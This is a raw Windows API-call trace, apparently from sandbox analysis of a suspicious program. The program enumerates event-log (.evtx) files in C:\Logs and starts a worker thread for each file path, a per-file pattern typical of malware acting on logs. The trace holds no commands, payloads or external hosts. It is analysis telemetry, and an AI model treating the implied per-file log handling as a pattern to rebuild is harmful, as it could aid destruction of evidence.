	[0073.208] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1
	[0073.208] wcscmp (_String1="Microsoft-Client-Licensing-Platform%4Admin.evtx", _String2=".") returned 1
	[0073.208] wcscmp (_String1="Microsoft-Client-Licensing-Platform%4Admin.evtx", _String2="..") returned 1
	[0073.208] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d53f40
	[0073.208] wcscpy (in: _Dest=0x2d53f40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.208] wcscat (in: _Dest=0x2d53f40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.208] wcscat (in: _Dest=0x2d53f40, _Source="Microsoft-Client-Licensing-Platform%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx"
	[0073.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d53f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0073.209] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1
	[0073.209] wcscmp (_String1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", _String2=".") returned 1
	[0073.209] wcscmp (_String1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", _String2="..") returned 1
	[0073.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7dec0
	[0073.209] wcscpy (in: _Dest=0x2d7dec0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.209] wcscat (in: _Dest=0x2d7dec0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.209] wcscat (in: _Dest=0x2d7dec0, _Source="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx"
	[0073.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7dec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0073.210] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1
	[0073.210] wcscmp (_String1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", _String2=".") returned 1
	[0073.210] wcscmp (_String1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", _String2="..") returned 1
	[0073.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f268
	[0073.210] wcscpy (in: _Dest=0x2d7f268, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.210] wcscat (in: _Dest=0x2d7f268, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.210] wcscat (in: _Dest=0x2d7f268, _Source="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx"
	[0073.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0073.211] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1
	[0073.211] wcscmp (_String1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", _String2=".") returned 1
	[0073.211] wcscmp (_String1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", _String2="..") returned 1
	[0073.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2d52d60
	[0073.211] wcscpy (in: _Dest=0x2d52d60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.211] wcscat (in: _Dest=0x2d52d60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.211] wcscat (in: _Dest=0x2d52d60, _Source="Microsoft-Windows-AppLocker%4EXE and DLL.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx"
	[0073.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d52d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0073.211] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1
	[0073.212] wcscmp (_String1="Microsoft-Windows-AppLocker%4MSI and Script.evtx", _String2=".") returned 1
	[0073.212] wcscmp (_String1="Microsoft-Windows-AppLocker%4MSI and Script.evtx", _String2="..") returned 1
	[0073.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d60148
	[0073.212] wcscpy (in: _Dest=0x2d60148, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.212] wcscat (in: _Dest=0x2d60148, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.212] wcscat (in: _Dest=0x2d60148, _Source="Microsoft-Windows-AppLocker%4MSI and Script.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx"
	[0073.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0073.212] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1
	[0073.212] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", _String2=".") returned 1
	[0073.212] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", _String2="..") returned 1
	[0073.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x2d7b8a0
	[0073.213] wcscpy (in: _Dest=0x2d7b8a0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.213] wcscat (in: _Dest=0x2d7b8a0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.213] wcscat (in: _Dest=0x2d7b8a0, _Source="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx"
	[0073.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7b8a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0073.213] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1
	[0073.213] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", _String2=".") returned 1
	[0073.213] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", _String2="..") returned 1
	[0073.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x2d7b1e0
	[0073.213] wcscpy (in: _Dest=0x2d7b1e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.213] wcscat (in: _Dest=0x2d7b1e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.213] wcscat (in: _Dest=0x2d7b1e0, _Source="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx"
	[0073.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7b1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0073.214] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1
	[0073.214] wcscmp (_String1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", _String2=".") returned 1
	[0073.214] wcscmp (_String1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", _String2="..") returned 1
	[0073.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2d57d40
	[0073.214] wcscpy (in: _Dest=0x2d57d40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.214] wcscat (in: _Dest=0x2d57d40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.214] wcscat (in: _Dest=0x2d57d40, _Source="Microsoft-Windows-AppModel-Runtime%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx"
	[0073.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d57d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0073.215] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1
	[0073.215] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Admin.evtx", _String2=".") returned 1
	[0073.215] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Admin.evtx", _String2="..") returned 1
	[0073.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d545b8
	[0073.215] wcscpy (in: _Dest=0x2d545b8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.215] wcscat (in: _Dest=0x2d545b8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.215] wcscat (in: _Dest=0x2d545b8, _Source="Microsoft-Windows-AppReadiness%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx"
	[0073.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d545b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0073.216] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1
	[0073.216] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Operational.evtx", _String2=".") returned 1
	[0073.216] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Operational.evtx", _String2="..") returned 1
	[0073.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d5fdc8
	[0073.216] wcscpy (in: _Dest=0x2d5fdc8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.216] wcscat (in: _Dest=0x2d5fdc8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.216] wcscat (in: _Dest=0x2d5fdc8, _Source="Microsoft-Windows-AppReadiness%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx"
	[0073.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5fdc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0073.217] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1
	[0073.217] wcscmp (_String1="Microsoft-Windows-AppXDeployment%4Operational.evtx", _String2=".") returned 1
	[0073.217] wcscmp (_String1="Microsoft-Windows-AppXDeployment%4Operational.evtx", _String2="..") returned 1
	[0073.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x2d602c8
	[0073.217] wcscpy (in: _Dest=0x2d602c8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.217] wcscat (in: _Dest=0x2d602c8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.217] wcscat (in: _Dest=0x2d602c8, _Source="Microsoft-Windows-AppXDeployment%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx"
	[0073.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d602c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0073.220] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1
	[0073.220] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", _String2=".") returned 1
	[0073.220] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", _String2="..") returned 1
	[0073.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x2d7b660
	[0073.220] wcscpy (in: _Dest=0x2d7b660, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.220] wcscat (in: _Dest=0x2d7b660, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.220] wcscat (in: _Dest=0x2d7b660, _Source="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx"
	[0073.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7b660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0073.221] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1
	[0073.221] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", _String2=".") returned 1
	[0073.221] wcscmp (_String1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", _String2="..") returned 1
	[0073.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2d5aab8
	[0073.221] wcscpy (in: _Dest=0x2d5aab8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.221] wcscat (in: _Dest=0x2d5aab8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.221] wcscat (in: _Dest=0x2d5aab8, _Source="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx"
	[0073.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5aab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0073.222] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1
	[0073.222] wcscmp (_String1="Microsoft-Windows-AppxPackaging%4Operational.evtx", _String2=".") returned 1
	[0073.222] wcscmp (_String1="Microsoft-Windows-AppxPackaging%4Operational.evtx", _String2="..") returned 1
	[0073.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d5fe48
	[0073.222] wcscpy (in: _Dest=0x2d5fe48, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.222] wcscat (in: _Dest=0x2d5fe48, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.222] wcscat (in: _Dest=0x2d5fe48, _Source="Microsoft-Windows-AppxPackaging%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx"
	[0073.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5fe48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0073.223] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1
	[0073.223] wcscmp (_String1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", _String2=".") returned 1
	[0073.223] wcscmp (_String1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", _String2="..") returned 1
	[0073.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2d63ce8
	[0073.223] wcscpy (in: _Dest=0x2d63ce8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.223] wcscat (in: _Dest=0x2d63ce8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.223] wcscat (in: _Dest=0x2d63ce8, _Source="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx"
	[0073.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d63ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0073.223] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1
	[0073.223] wcscmp (_String1="Microsoft-Windows-Bits-Client%4Operational.evtx", _String2=".") returned 1
	[0073.223] wcscmp (_String1="Microsoft-Windows-Bits-Client%4Operational.evtx", _String2="..") returned 1
	[0073.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d5a618
	[0073.224] wcscpy (in: _Dest=0x2d5a618, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.224] wcscat (in: _Dest=0x2d5a618, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0073.224] wcscat (in: _Dest=0x2d5a618, _Source="Microsoft-Windows-Bits-Client%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx"
	[0073.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5a618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
